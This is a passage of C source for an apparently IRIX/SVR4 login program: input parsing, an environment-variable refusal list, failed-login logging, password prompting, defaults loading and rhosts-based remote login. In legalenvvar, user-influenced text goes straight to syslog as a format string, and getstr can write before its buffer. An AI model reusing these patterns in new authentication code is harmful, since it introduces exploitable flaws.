| 1571 | * if the user enters an EOF character, exit | ||
| 1572 | * immediately with the value of one (1) so it | ||
| 1573 | * doesn't appear as if this login was successful. | ||
| 1574 | */ | ||
| 1575 | exit(1); | ||
| 1576 | /* FALLTHROUGH */ | ||
| 1577 | case ' ': | ||
| 1578 | case '\t': | ||
| 1579 | if (state == ARGUMENT) { | ||
| 1580 | *ptr++ = '\0'; | ||
| 1581 | state = WHITESPACE; | ||
| 1582 | } | ||
| 1583 | break; | ||
| 1584 | case '\\': | ||
| 1585 | c = quotec(); | ||
| 1586 | /* FALLTHROUGH */ | ||
| 1587 | default: | ||
| 1588 | if (state == WHITESPACE) { | ||
| 1589 | *reply++ = ptr; | ||
| 1590 | state = ARGUMENT; | ||
| 1591 | } | ||
| 1592 | *ptr++ = (char) c; | ||
| 1593 | } | ||
| 1594 | /* | ||
| 1595 | * check if either the ``envbuf'' array or the ``args'' | ||
| 1596 | * array is overflowing. | ||
| 1597 | */ | ||
| 1598 | if (ptr >= envbuf + MAXLINE - 1 | ||
| 1599 | || reply >= args + MAXARGS - 1 && state == WHITESPACE) { | ||
| 1600 | (void) putc('\n', stdout); | ||
| 1601 | break; | ||
| 1602 | } | ||
| 1603 | } | ||
| 1604 | *ptr = '\0'; | ||
| 1605 | *inline = '\0'; | ||
| 1606 | *reply = NULL; | ||
| 1607 | |||
| 1608 | return ((reply == args) ? NULL : args); | ||
| 1609 | } | ||
| 1610 | |||
| 1611 | /* | ||
| 1612 | * like getargs() but from string | ||
| 1613 | */ | ||
| 1614 | static char ** | ||
| 1615 | getargs2(char *inline) | ||
| 1616 | { | ||
| 1617 | int c, llen = MAXLINE - 1; | ||
| 1618 | char *ptr = envbuf, **reply = args; | ||
| 1619 | enum { | ||
| 1620 | WHITESPACE, ARGUMENT | ||
| 1621 | } state = WHITESPACE; | ||
| 1622 | |||
| 1623 | while(c = *inline++) { | ||
| 1624 | if(llen > 0) | ||
| 1625 | --llen; | ||
| 1626 | switch(c) { | ||
| 1627 | case ' ': | ||
| 1628 | case '\t': | ||
| 1629 | if(state == ARGUMENT) { | ||
| 1630 | *ptr++ = '\0'; | ||
| 1631 | state = WHITESPACE; | ||
| 1632 | } | ||
| 1633 | break; | ||
| 1634 | case '\\': | ||
| 1635 | inline = quotec2(inline, &c); | ||
| 1636 | default: | ||
| 1637 | if(state == WHITESPACE) { | ||
| 1638 | *reply++ = ptr; | ||
| 1639 | state = ARGUMENT; | ||
| 1640 | } | ||
| 1641 | *ptr++ = (char) c; | ||
| 1642 | } | ||
| 1643 | /* | ||
| 1644 | * check if either the ``envbuf'' array or the ``args'' | ||
| 1645 | * array is overflowing. | ||
| 1646 | */ | ||
| 1647 | if(ptr >= envbuf + MAXLINE - 1 | ||
| 1648 | || reply >= args + MAXARGS - 1 && state == WHITESPACE) { | ||
| 1649 | break; | ||
| 1650 | } | ||
| 1651 | } | ||
| 1652 | *ptr = '\0'; | ||
| 1653 | *reply = NULL; | ||
| 1654 | return ((reply == args) ? NULL : args); | ||
| 1655 | } | ||
| 1656 | |||
| 1657 | /* | ||
| 1658 | * Procedure: quotec | ||
| 1659 | * | ||
| 1660 | * Notes: Reads from the "standard input" of the tty. It is | ||
| 1661 | * called by the routine "getargs". | ||
| 1662 | */ | ||
| 1663 | static int | ||
| 1664 | quotec(void) | ||
| 1665 | { | ||
| 1666 | register int c, i, num; | ||
| 1667 | |||
| 1668 | switch (c = getc(stdin)) { | ||
| 1669 | case 'n': | ||
| 1670 | c = '\n'; | ||
| 1671 | break; | ||
| 1672 | case 'r': | ||
| 1673 | c = '\r'; | ||
| 1674 | break; | ||
| 1675 | case 'v': | ||
| 1676 | c = '\013'; | ||
| 1677 | break; | ||
| 1678 | case 'b': | ||
| 1679 | c = '\b'; | ||
| 1680 | break; | ||
| 1681 | case 't': | ||
| 1682 | c = '\t'; | ||
| 1683 | break; | ||
| 1684 | case 'f': | ||
| 1685 | c = '\f'; | ||
| 1686 | break; | ||
| 1687 | case '0': | ||
| 1688 | case '1': | ||
| 1689 | case '2': | ||
| 1690 | case '3': | ||
| 1691 | case '4': | ||
| 1692 | case '5': | ||
| 1693 | case '6': | ||
| 1694 | case '7': | ||
| 1695 | for (num=0, i=0; i<3; i++) { | ||
| 1696 | num = num * 8 + (c - '0'); | ||
| 1697 | if ((c = getc(stdin)) < '0' || c > '7') | ||
| 1698 | break; | ||
| 1699 | } | ||
| 1700 | (void) ungetc(c, stdin); | ||
| 1701 | c = num & 0377; | ||
| 1702 | break; | ||
| 1703 | default: | ||
| 1704 | break; | ||
| 1705 | } | ||
| 1706 | return c; | ||
| 1707 | } | ||
| 1708 | |||
| 1709 | /* | ||
| 1710 | * like quotec() but from string | ||
| 1711 | */ | ||
| 1712 | static char * | ||
| 1713 | quotec2(char *s, int *cp) | ||
| 1714 | { | ||
| 1715 | register int c, i, num; | ||
| 1716 | |||
| 1717 | switch (c = *s++) { | ||
| 1718 | case 'n': | ||
| 1719 | c = '\n'; | ||
| 1720 | break; | ||
| 1721 | case 'r': | ||
| 1722 | c = '\r'; | ||
| 1723 | break; | ||
| 1724 | case 'v': | ||
| 1725 | c = '\013'; | ||
| 1726 | break; | ||
| 1727 | case 'b': | ||
| 1728 | c = '\b'; | ||
| 1729 | break; | ||
| 1730 | case 't': | ||
| 1731 | c = '\t'; | ||
| 1732 | break; | ||
| 1733 | case 'f': | ||
| 1734 | c = '\f'; | ||
| 1735 | break; | ||
| 1736 | case '0': | ||
| 1737 | case '1': | ||
| 1738 | case '2': | ||
| 1739 | case '3': | ||
| 1740 | case '4': | ||
| 1741 | case '5': | ||
| 1742 | case '6': | ||
| 1743 | case '7': | ||
| 1744 | for (num=0, i=0; i<3; i++) { | ||
| 1745 | num = num * 8 + (c - '0'); | ||
| 1746 | c = *s++; | ||
| 1747 | if (c < '0' || c > '7') | ||
| 1748 | break; | ||
| 1749 | } | ||
| 1750 | s--; | ||
| 1751 | c = num & 0377; | ||
| 1752 | break; | ||
| 1753 | default: | ||
| 1754 | break; | ||
| 1755 | } | ||
| 1756 | *cp = c; | ||
| 1757 | return(s); | ||
| 1758 | } | ||
| 1759 | |||
| 1760 | static char *illegal[] = { | ||
| 1761 | "SHELL=", | ||
| 1762 | "HOME=", | ||
| 1763 | "LOGNAME=", | ||
| 1764 | #ifndef NO_MAIL | ||
| 1765 | "MAIL=", | ||
| 1766 | #endif | ||
| 1767 | "CDPATH=", | ||
| 1768 | "IFS=", | ||
| 1769 | "PATH=", | ||
| 1770 | "USER=", | ||
| 1771 | 0 | ||
| 1772 | }; | ||
| 1773 | |||
| 1774 | static char *illegal_log[] = { /* we syslog if in this set */ | ||
| 1775 | "_RLD", /* no =; any of the _RLD variables; include future */ | ||
| 1776 | "LD_LIBRARY", /* no =; any of the 3 ISAs variables; include future */ | ||
| 1777 | 0 | ||
| 1778 | }; | ||
| 1779 | |||
| 1780 | /* | ||
| 1781 | * Procedure: legalenvvar | ||
| 1782 | * | ||
| 1783 | * Notes: Determines if it is legal to insert this | ||
| 1784 | * environmental variable. | ||
| 1785 | */ | ||
| 1786 | static int | ||
| 1787 | legalenvvar(char *s) | ||
| 1788 | { | ||
| 1789 | register char **p; | ||
| 1790 | |||
| 1791 | for (p = illegal; *p; p++) | ||
| 1792 | if (!strncmp(s, *p, strlen(*p))) | ||
| 1793 | return 0; | ||
| 1794 | |||
| 1795 | for (p = illegal_log; *p; p++) | ||
| 1796 | if (!strncmp(s, *p, strlen(*p))) { | ||
| 1797 | /* use sprintf to avoid possibility of overrunning | ||
| 1798 | * syslog buffer. */ | ||
| 1799 | char msg[256]; | ||
| 1800 | sprintf(msg, "ignored attempt to setenv(%.128s)", s); | ||
| 1801 | openlog("login", LOG_PID, LOG_AUTH); | ||
| 1802 | syslog(LOG_AUTH, msg); | ||
| 1803 | closelog(); | ||
| 1804 | return 0; | ||
| 1805 | } | ||
| 1806 | return 1; | ||
| 1807 | } | ||
| 1808 | |||
| 1809 | |||
| 1810 | /* | ||
| 1811 | * Procedure: badlogin | ||
| 1812 | * | ||
| 1813 | * | ||
| 1814 | * Notes: log to the log file after "trys" unsuccessful attempts | ||
| 1815 | */ | ||
| 1816 | static void | ||
| 1817 | badlogin(int trys, char **log_entry) | ||
| 1818 | { | ||
| 1819 | int retval, count, fildes; | ||
| 1820 | |||
| 1821 | |||
| 1822 | failure_log(); | ||
| 1823 | |||
| 1824 | /* Tries to open the log file. If succeed, lock it and write | ||
| 1825 | in the failed attempts */ | ||
| 1826 | if ((fildes = open (LOGINLOG, O_APPEND|O_WRONLY)) == -1) | ||
| 1827 | return; | ||
| 1828 | else { | ||
| 1829 | (void) sigset(SIGALRM, donothing); | ||
| 1830 | (void) alarm(L_WAITTIME); | ||
| 1831 | retval = lockf(fildes, F_LOCK, 0L); | ||
| 1832 | (void) alarm(0); | ||
| 1833 | (void) sigset(SIGALRM, SIG_DFL); | ||
| 1834 | if (retval == 0) { | ||
| 1835 | for (count = 0 ; count < trys ; count++) { | ||
| 1836 | (void) write(fildes, log_entry[count], | ||
| 1837 | (unsigned) strlen (log_entry[count])); | ||
| 1838 | *log_entry[count] = '\0'; | ||
| 1839 | } | ||
| 1840 | (void) lockf(fildes, F_ULOCK, 0L); | ||
| 1841 | (void) close(fildes); | ||
| 1842 | } | ||
| 1843 | return; | ||
| 1844 | } | ||
| 1845 | } | ||
| 1846 | |||
| 1847 | |||
| 1848 | /* | ||
| 1849 | * Procedure: donothing | ||
| 1850 | * | ||
| 1851 | * Notes: called by "badlogin" routine when SIGALRM is | ||
| 1852 | * caught. The intent is to do nothing when the | ||
| 1853 | * alarm is caught. | ||
| 1854 | */ | ||
| 1855 | static void | ||
| 1856 | donothing(void) {} | ||
| 1857 | |||
| 1858 | |||
| 1859 | /* | ||
| 1860 | * Procedure: getpass | ||
| 1861 | * | ||
| 1862 | * Restrictions: | ||
| 1863 | * fopen: none | ||
| 1864 | * setbuf: none | ||
| 1865 | * fclose: none | ||
| 1866 | * | ||
| 1867 | * Notes: calls "fgetpass" to read the user's password entry. | ||
| 1868 | */ | ||
| 1869 | static char * | ||
| 1870 | mygetpass(char *prompt) | ||
| 1871 | { | ||
| 1872 | char *p; | ||
| 1873 | FILE *fi; | ||
| 1874 | |||
| 1875 | if ((fi = fopen("/dev/tty", "r")) == NULL) { | ||
| 1876 | return (char*)NULL; | ||
| 1877 | } | ||
| 1878 | setbuf(fi, (char*)NULL); | ||
| 1879 | p = fgetpass(fi, stderr, prompt); | ||
| 1880 | if (fi != stdin) | ||
| 1881 | (void) fclose(fi); | ||
| 1882 | return p; | ||
| 1883 | } | ||
| 1884 | |||
| 1885 | |||
| 1886 | /* | ||
| 1887 | * Procedure: fgetpass | ||
| 1888 | * Restrictions: | ||
| 1889 | * | ||
| 1890 | * ioctl(2): None | ||
| 1891 | * | ||
| 1892 | * Notes: issues the "Password: " prompt and reads the input | ||
| 1893 | * after turning off character echoing. | ||
| 1894 | */ | ||
| 1895 | static char * | ||
| 1896 | fgetpass(FILE *fi, FILE *fo, char *prompt) | ||
| 1897 | { | ||
| 1898 | struct termio ttyb; | ||
| 1899 | tcflag_t flags; | ||
| 1900 | register char *p; | ||
| 1901 | register int c; | ||
| 1902 | static char pbuf[PBUFSIZE + 1]; | ||
| 1903 | void (*sig)(); | ||
| 1904 | |||
| 1905 | sig = signal(SIGINT, catch); | ||
| 1906 | intrupt = 0; | ||
| 1907 | (void) ioctl(fileno(fi), TCGETA, &ttyb); | ||
| 1908 | flags = ttyb.c_lflag; | ||
| 1909 | ttyb.c_lflag &= ~(ECHO | ECHOE | ECHOK | ECHONL); | ||
| 1910 | (void) ioctl(fileno(fi), TCSETAF, &ttyb); | ||
| 1911 | (void) fputs(prompt, fo); | ||
| 1912 | for (p = pbuf; !intrupt && (c = getc(fi)) != '\n' && c != EOF;) { | ||
| 1913 | if (p < &pbuf[PBUFSIZE]) | ||
| 1914 | *p++ = (char) c; | ||
| 1915 | } | ||
| 1916 | *p = '\0'; | ||
| 1917 | (void) putc('\n', fo); | ||
| 1918 | ttyb.c_lflag = flags; | ||
| 1919 | (void) ioctl(fileno(fi), TCSETAW, &ttyb); | ||
| 1920 | (void) signal(SIGINT, sig); | ||
| 1921 | if (intrupt) | ||
| 1922 | (void) kill(getpid(), SIGINT); | ||
| 1923 | |||
| 1924 | return pbuf; | ||
| 1925 | } | ||
| 1926 | |||
| 1927 | |||
| 1928 | /* | ||
| 1929 | * Procedure: catch | ||
| 1930 | * | ||
| 1931 | * Notes: called by fgetpass if the process catches an | ||
| 1932 | * INTERRUPT signal. | ||
| 1933 | */ | ||
| 1934 | static void | ||
| 1935 | catch(void) | ||
| 1936 | { | ||
| 1937 | ++intrupt; | ||
| 1938 | } | ||
| 1939 | |||
| 1940 | |||
| 1941 | /* | ||
| 1942 | * Procedure: uppercaseterm | ||
| 1943 | * | ||
| 1944 | * Restrictions: | ||
| 1945 | * ioctl(2): None | ||
| 1946 | * | ||
| 1947 | * Notes: if all input characters are upper case set the | ||
| 1948 | * corresponding termio so ALL input and output is | ||
| 1949 | * UPPER case. | ||
| 1950 | */ | ||
| 1951 | static void | ||
| 1952 | uppercaseterm(char *strp) | ||
| 1953 | { | ||
| 1954 | int upper = 0; | ||
| 1955 | int lower = 0; | ||
| 1956 | char *sp; | ||
| 1957 | struct termio termio; | ||
| 1958 | |||
| 1959 | for (sp = strp; *sp; sp++) { | ||
| 1960 | if (islower(*sp)) | ||
| 1961 | lower++; | ||
| 1962 | else if (isupper(*sp)) | ||
| 1963 | upper++; | ||
| 1964 | } | ||
| 1965 | |||
| 1966 | if (upper > 0 && lower == 0) { | ||
| 1967 | (void) ioctl(0,TCGETA,&termio); | ||
| 1968 | termio.c_iflag |= IUCLC; | ||
| 1969 | termio.c_oflag |= OLCUC; | ||
| 1970 | termio.c_lflag |= XCASE; | ||
| 1971 | (void) ioctl(0,TCSETAW,&termio); | ||
| 1972 | for (sp = strp; *sp; sp++) | ||
| 1973 | if (*sp >= 'A' && *sp <= 'Z' ) *sp += ('a' - 'A'); | ||
| 1974 | } | ||
| 1975 | } | ||
| 1976 | |||
| 1977 | |||
| 1978 | /* | ||
| 1979 | * Procedure: findttyname | ||
| 1980 | * | ||
| 1981 | * | ||
| 1982 | * Notes: call ttyname(), but do not return syscon, systty, | ||
| 1983 | * or sysconreal do not use syscon or systty if console | ||
| 1984 | * is present, assuming they are links. | ||
| 1985 | */ | ||
| 1986 | static char * | ||
| 1987 | findttyname(int fd) | ||
| 1988 | { | ||
| 1989 | char *lttyn; | ||
| 1990 | |||
| 1991 | lttyn = ttyname(fd); | ||
| 1992 | |||
| 1993 | if (lttyn == NULL) return NULL; | ||
| 1994 | |||
| 1995 | if (((strcmp(lttyn, "/dev/syscon") == 0) || | ||
| 1996 | (strcmp(lttyn, "/dev/sysconreal") == 0) || | ||
| 1997 | (strcmp(lttyn, "/dev/systty") == 0)) && | ||
| 1998 | (access("/dev/console", F_OK) == 0)) | ||
| 1999 | lttyn = "/dev/console"; | ||
| 2000 | |||
| 2001 | return lttyn; | ||
| 2002 | } | ||
| 2003 | |||
| 2004 | |||
| 2005 | |||
| 2006 | |||
| 2007 | /* | ||
| 2008 | * Procedure: init_defaults | ||
| 2009 | * | ||
| 2010 | * Restrictions: | ||
| 2011 | * defopen: None | ||
| 2012 | * lvlin: None | ||
| 2013 | * lvlvalid: None | ||
| 2014 | * | ||
| 2015 | * Notes: reads the "login" default file in "/etc/defaults" | ||
| 2016 | * directory. Also initializes other variables used | ||
| 2017 | * throughout the code. | ||
| 2018 | */ | ||
| 2019 | static void | ||
| 2020 | init_defaults(void) | ||
| 2021 | { | ||
| 2022 | FILE *defltfp; | ||
| 2023 | register char *ptr, | ||
| 2024 | *Pndefault = "login"; | ||
| 2025 | |||
| 2026 | if ((defltfp = defopen(Pndefault)) != NULL) { | ||
| 2027 | if ((Console = defread(defltfp, "CONSOLE")) != NULL) | ||
| 2028 | if (*Console) | ||
| 2029 | Console = strdup(Console); | ||
| 2030 | else | ||
| 2031 | Console = NULL; | ||
| 2032 | if ((Altshell = defread(defltfp, "ALTSHELL")) != NULL) | ||
| 2033 | if (*Altshell) | ||
| 2034 | Altshell = strdup(Altshell); | ||
| 2035 | else | ||
| 2036 | Altshell = NULL; | ||
| 2037 | if ((Passreq = defread(defltfp, "PASSREQ")) != NULL) | ||
| 2038 | if (*Passreq) | ||
| 2039 | Passreq = strdup(Passreq); | ||
| 2040 | else | ||
| 2041 | Passreq = NULL; | ||
| 2042 | if ((Mandpass = defread(defltfp, "MANDPASS")) != NULL) | ||
| 2043 | if (*Mandpass) | ||
| 2044 | Mandpass = strdup(Mandpass); | ||
| 2045 | else | ||
| 2046 | Mandpass = NULL; | ||
| 2047 | if ((Initgroups = defread(defltfp, "INITGROUPS")) != NULL) | ||
| 2048 | if (*Initgroups) | ||
| 2049 | Initgroups = strdup(Initgroups); | ||
| 2050 | else | ||
| 2051 | Initgroups = NULL; | ||
| 2052 | if ((SVR4_Signals = defread(defltfp, "SVR4_SIGNALS")) != NULL) | ||
| 2053 | if (*SVR4_Signals) | ||
| 2054 | SVR4_Signals = strdup(SVR4_Signals); | ||
| 2055 | else | ||
| 2056 | SVR4_Signals = NULL; | ||
| 2057 | if ((Def_hertz = defread(defltfp, "HZ")) != NULL) | ||
| 2058 | if (*Def_hertz) | ||
| 2059 | Def_hertz = strdup(Def_hertz); | ||
| 2060 | else | ||
| 2061 | Def_hertz = NULL; | ||
| 2062 | if ((Def_path = defread(defltfp, "PATH")) != NULL) | ||
| 2063 | if (*Def_path) | ||
| 2064 | Def_path = strdup(Def_path); | ||
| 2065 | else | ||
| 2066 | Def_path = NULL; | ||
| 2067 | #ifdef AUX_SECURITY | ||
| 2068 | if ((Def_sitepath = defread(defltfp, "SITECHECK")) != NULL) | ||
| 2069 | if (*Def_sitepath) | ||
| 2070 | Def_sitepath = strdup(Def_sitepath); | ||
| 2071 | else | ||
| 2072 | Def_sitepath = NULL; | ||
| 2073 | #endif /* AUX_SECURITY */ | ||
| 2074 | |||
| 2075 | /* | ||
| 2076 | * have to setlocale() here, to get msgs in LANG | ||
| 2077 | */ | ||
| 2078 | if((Def_lang = getenv("LANG")) == NULL) { | ||
| 2079 | if((Def_lang = defread(defltfp, "LANG")) != NULL) | ||
| 2080 | Def_lang = *Def_lang? strdup(Def_lang) : NULL; | ||
| 2081 | } | ||
| 2082 | if(Def_lang) | ||
| 2083 | (void)setlocale(LC_ALL, Def_lang); | ||
| 2084 | |||
| 2085 | if ((Def_supath = defread(defltfp, "SUPATH")) != NULL) | ||
| 2086 | if (*Def_supath) | ||
| 2087 | Def_supath = strdup(Def_supath); | ||
| 2088 | else | ||
| 2089 | Def_supath = NULL; | ||
| 2090 | |||
| 2091 | if ((Def_syslog = defread(defltfp, "SYSLOG")) != NULL) | ||
| 2092 | if (Def_syslog && *Def_syslog) { | ||
| 2093 | if (strcmp (Def_syslog, "FAIL") == 0) | ||
| 2094 | syslog_fail = 1; | ||
| 2095 | else if (strcmp (Def_syslog, "ALL") == 0) | ||
| 2096 | syslog_success = syslog_fail = 1; | ||
| 2097 | } | ||
| 2098 | |||
| 2099 | if ((Def_notlockout = defread(defltfp, "LOCKOUTEXEMPT")) != NULL) | ||
| 2100 | if (*Def_notlockout) | ||
| 2101 | Def_notlockout = strdup(Def_notlockout); | ||
| 2102 | else | ||
| 2103 | Def_notlockout = NULL; | ||
| 2104 | |||
| 2105 | if ((ptr = defread(defltfp, "TIMEOUT")) != NULL) | ||
| 2106 | Def_timeout = (unsigned) atoi(ptr); | ||
| 2107 | if ((ptr = defread(defltfp, "SLEEPTIME")) != NULL) | ||
| 2108 | Def_slptime = atol(ptr); | ||
| 2109 | if ((ptr = defread(defltfp, "DISABLETIME")) != NULL) | ||
| 2110 | Def_distime = atol(ptr); | ||
| 2111 | if ((ptr = defread(defltfp, "MAXTRYS")) != NULL) | ||
| 2112 | Def_maxtrys = atol(ptr); | ||
| 2113 | if ((ptr = defread(defltfp, "LOGFAILURES")) != NULL) | ||
| 2114 | Def_failures = atol(ptr); | ||
| 2115 | if ((ptr = defread(defltfp, "LOCKOUT")) != NULL) | ||
| 2116 | Lockout = atol(ptr); | ||
| 2117 | if ((ptr = defread(defltfp, "UMASK")) != NULL) | ||
| 2118 | if (sscanf(ptr, "%lo", &Umask) != 1) | ||
| 2119 | Umask = DEFUMASK; | ||
| 2120 | if ((ptr = defread(defltfp, "IDLEWEEKS")) != NULL) | ||
| 2121 | Idleweeks = atoi(ptr); | ||
| 2122 | if ((ptr = defread(defltfp, "MACREMOTE")) != NULL) | ||
| 2123 | if (strcmp(ptr, "CLEARANCE") == 0) | ||
| 2124 | Mac_Remote = MAC_CLEARANCE; | ||
| 2125 | |||
| 2126 | |||
| 2127 | (void) defclose(defltfp); | ||
| 2128 | } | ||
| 2129 | |||
| 2130 | if (((mode_t) 0777) < Umask) | ||
| 2131 | Umask = DEFUMASK; | ||
| 2132 | |||
| 2133 | (void) umask(Umask); | ||
| 2134 | |||
| 2135 | |||
| 2136 | if (!Def_tz || (Def_tz && !*Def_tz)) | ||
| 2137 | Def_tz = getenv("TZ"); | ||
| 2138 | |||
| 2139 | if (!Def_tz) | ||
| 2140 | (void) strcat(timez, DEF_TZ); | ||
| 2141 | else | ||
| 2142 | ENVSTRNCAT(timez, Def_tz); | ||
| 2143 | |||
| 2144 | (void) putenv(timez); | ||
| 2145 | |||
| 2146 | if (Def_timeout > MAX_TIMEOUT) | ||
| 2147 | Def_timeout = MAX_TIMEOUT; | ||
| 2148 | if (Def_slptime > DEF_TIMEOUT) | ||
| 2149 | Def_slptime = DEF_TIMEOUT; | ||
| 2150 | if (Def_failures < 0 ) | ||
| 2151 | Def_failures = LOGFAILURES; | ||
| 2152 | if (Def_failures > MAX_FAILURES) | ||
| 2153 | Def_failures = MAX_FAILURES; | ||
| 2154 | if (Def_maxtrys < 0 ) | ||
| 2155 | Def_maxtrys = MAXTRYS; | ||
| 2156 | |||
| 2157 | return; | ||
| 2158 | } | ||
| 2159 | |||
| 2160 | /* | ||
| 2161 | * Procedure: exec_pass | ||
| 2162 | * | ||
| 2163 | * Notes: This routine forks, changes the uid of the forked process | ||
| 2164 | * to the user logging in, and execs the "/usr/bin/passwd" | ||
| 2165 | * command. It returns the status of the "exec" to the | ||
| 2166 | * parent process. All "working" privileges of the forked | ||
| 2167 | * (child) process are cleared. Also, P_SYSOPS is cleared | ||
| 2168 | * from the maximum set to indicate to "passwd" that this | ||
| 2169 | * "exec" originated from the login scheme. | ||
| 2170 | */ | ||
| 2171 | static int | ||
| 2172 | exec_pass(char *usernam) | ||
| 2173 | { | ||
| 2174 | int status, w; | ||
| 2175 | pid_t pid; | ||
| 2176 | cap_t ocap; | ||
| 2177 | cap_value_t capv; | ||
| 2178 | |||
| 2179 | if ((pid = fork()) == 0) { | ||
| 2180 | if (ia_uid > 0) { | ||
| 2181 | cap_value_t cv[] = {CAP_SETUID, CAP_SETGID}; | ||
| 2182 | |||
| 2183 | ocap = cap_acquire (ia_gid > 0 ? 2 : 1, cv); | ||
| 2184 | if (ia_gid > 0 && setgid(ia_gid) == -1) { | ||
| 2185 | cap_surrender (ocap); | ||
| 2186 | exit(127); | ||
| 2187 | } | ||
| 2188 | if (setuid(ia_uid) == -1) { | ||
| 2189 | cap_surrender (ocap); | ||
| 2190 | exit(127); | ||
| 2191 | } | ||
| 2192 | cap_surrender (ocap); | ||
| 2193 | } | ||
| 2194 | (void) execl(ia_pwdpgm, ia_pwdpgm, usernam, (char *)NULL); | ||
| 2195 | exit(127); | ||
| 2196 | } | ||
| 2197 | |||
| 2198 | while ((w = (int) wait(&status)) != pid && w != -1) | ||
| 2199 | ; | ||
| 2200 | |||
| 2201 | if (w != -1 && status > 0) { | ||
| 2202 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 2203 | ia_audit("LOGIN", u_name, 0, "password program returned error"); | ||
| 2204 | cap_surrender(ocap); | ||
| 2205 | } | ||
| 2206 | if (w < 0 || status < 0) { | ||
| 2207 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 2208 | ia_audit("LOGIN", u_name, 0, "error execing password program"); | ||
| 2209 | cap_surrender(ocap); | ||
| 2210 | } | ||
| 2211 | |||
| 2212 | return (w == -1) ? w : status; | ||
| 2213 | } | ||
| 2214 | |||
| 2215 | |||
| 2216 | #ifdef EXECSH | ||
| 2217 | |||
| 2218 | extern int _getpwent_no_shadow; | ||
| 2219 | static int | ||
| 2220 | doremotelogin(char *host) | ||
| 2221 | { | ||
| 2222 | struct passwd *pw; | ||
| 2223 | |||
| 2224 | #ifdef sgi | ||
| 2225 | (void) alarm(Def_timeout); | ||
| 2226 | #endif | ||
| 2227 | /* caller already read remote and local usernames */ | ||
| 2228 | getstr(terminal, sizeof(terminal)-1, "Terminal type"); | ||
| 2229 | #ifdef sgi | ||
| 2230 | (void) alarm(0); | ||
| 2231 | #endif | ||
| 2232 | |||
| 2233 | /* | ||
| 2234 | * handle args to login name | ||
| 2235 | */ | ||
| 2236 | if( !(remenvp = getargs2(luser))) | ||
| 2237 | lusername[0] = 0; | ||
| 2238 | else | ||
| 2239 | (void)strncpy(lusername, *remenvp++, sizeof(lusername)-1); | ||
| 2240 | (void)set_lang(remenvp); | ||
| 2241 | |||
| 2242 | SCPYN(u_name, lusername); | ||
| 2243 | if (getuid()) | ||
| 2244 | return(-1); | ||
| 2245 | _getpwent_no_shadow = 1; | ||
| 2246 | pw = getpwnam(lusername); | ||
| 2247 | _getpwent_no_shadow = 0; | ||
| 2248 | if (pw == NULL) | ||
| 2249 | return -1; | ||
| 2250 | return(__ruserok_x(host, (pw->pw_uid == 0), rusername, lusername, | ||
| 2251 | pw->pw_uid, pw->pw_dir)); | ||
| 2252 | } | ||
| 2253 | |||
| 2254 | /* ARGSUSED */ | ||
| 2255 | static void | ||
| 2256 | getstr(char *buf, int cnt, char *err) | ||
| 2257 | { | ||
| 2258 | char c; | ||
| 2259 | |||
| 2260 | do { | ||
| 2261 | if (read(0, &c, 1) != 1) | ||
| 2262 | exit(1); | ||
| 2263 | if (--cnt < 0) { | ||
| 2264 | buf[-1] = '\0'; | ||
| 2265 | return; | ||
| 2266 | } | ||
| 2267 | *buf++ = c; | ||
| 2268 | } while (c != 0); | ||
| 2269 | } | ||
| 2270 | |||
| 2271 | static int | ||
| 2272 | doremoteterm(char *term) | ||
| 2273 | { | ||
| 2274 | |||
| 2275 | struct termio tp; | ||
| 2276 | register char *cp = strchr(term, '/'); | ||
| 2277 | char *speed; | ||
| 2278 | |||
| 2279 | ioctl(0, TCGETA, &tp); | ||
| 2280 | |||
| 2281 | if (cp) { | ||
| 2282 | *cp++ = '\0'; | ||
| 2283 | speed = cp; | ||
| 2284 | cp = strchr(speed, '/'); | ||
| 2285 | if (cp) | ||
| 2286 | *cp++ = '\0'; | ||
| 2287 | tp.c_ospeed = atoi(speed); | ||
| 2288 | } | ||
| 2289 | tp.c_lflag |= ISIG|ICANON|ECHO|ECHOE|ECHOK; | ||
| 2290 | tp.c_oflag |= OPOST|ONLCR; | ||
| 2291 | tp.c_iflag |= BRKINT|IGNPAR|ISTRIP|ICRNL|IXON; | ||
| 2292 | tp.c_cc[VEOL] = CEOL; | ||
| 2293 | tp.c_cc[VEOF] = CEOF; | ||
| 2294 | |||
| 2295 | return ioctl(0, TCSETA, &tp); | ||
| 2296 | |||
| 2297 | } | ||
| 2298 | |||
| 2299 | #endif /* EXECSH */ | ||
| 2300 | |||
| 2301 | /* | ||
| 2302 | * Procedure: get_options | ||
| 2303 | * | ||
| 2304 | * Notes: get_options parses the command line. It returns 0 | ||
| 2305 | * if successful, -1 if failed. | ||
| 2306 | */ | ||
| 2307 | extern int _check_rhosts_file; /* used by ruserok */ | ||
| 2308 | |||
| 2309 | static int | ||
| 2310 | get_options(int argc, char **argv) | ||
| 2311 | { | ||
| 2312 | int c; | ||
| 2313 | int errflg = 0; | ||
| 2314 | |||
| 2315 | while ((c = getopt(argc, argv, "d:r:R:h:t:u:l:s:M:U:S:p")) != -1) { | ||
| 2316 | switch (c) { | ||
| 2317 | #ifdef EXECSH | ||
| 2318 | /* | ||
| 2319 | * XXX The (IRIX/BSD login) -p option tells login not to | ||
| 2320 | * destroy the environment. But SVR4 login has a -p option | ||
| 2321 | * for calling "/usr/bin/passwd". Currently the SVR4 -p | ||
| 2322 | * option is not supported on the commmand line. If and | ||
| 2323 | * when support is added/required, the current -p should | ||
| 2324 | * be changed to something like "-P" and client applications | ||
| 2325 | * (telnetd, 4DDN sethostd) must be changed. | ||
| 2326 | */ | ||
| 2327 | case 'p': | ||
| 2328 | pflag++; | ||
| 2329 | break; | ||
| 2330 | case 't': | ||
| 2331 | strncpy(terminal, optarg, sizeof(terminal)-1); | ||
| 2332 | break; | ||
| 2333 | case 'r': | ||
| 2334 | case 'R': | ||
| 2335 | _check_rhosts_file = c == 'r' ? 1 : 0; | ||
| 2336 | if (hflag || rflag) { | ||
| 2337 | pfmt(stderr, MM_ERROR, | ||
| 2338 | ":310:Only one of -r and -h allowed\n"); | ||
| 2339 | exit(1); | ||
| 2340 | } | ||
| 2341 | rflag_set = ++rflag; | ||
| 2342 | strncpy (remotehost, optarg, sizeof(remotehost)-1); | ||
| 2343 | break; | ||
| 2344 | case 'h': | ||
| 2345 | if (hflag || rflag) { | ||
| 2346 | pfmt(stderr, MM_ERROR, | ||
| 2347 | ":310:Only one of -r and -h allowed\n"); | ||
| 2348 | exit(1); | ||
| 2349 | } | ||
| 2350 | hflag++; | ||
| 2351 | strncpy (remotehost, optarg, sizeof(remotehost)-1); | ||
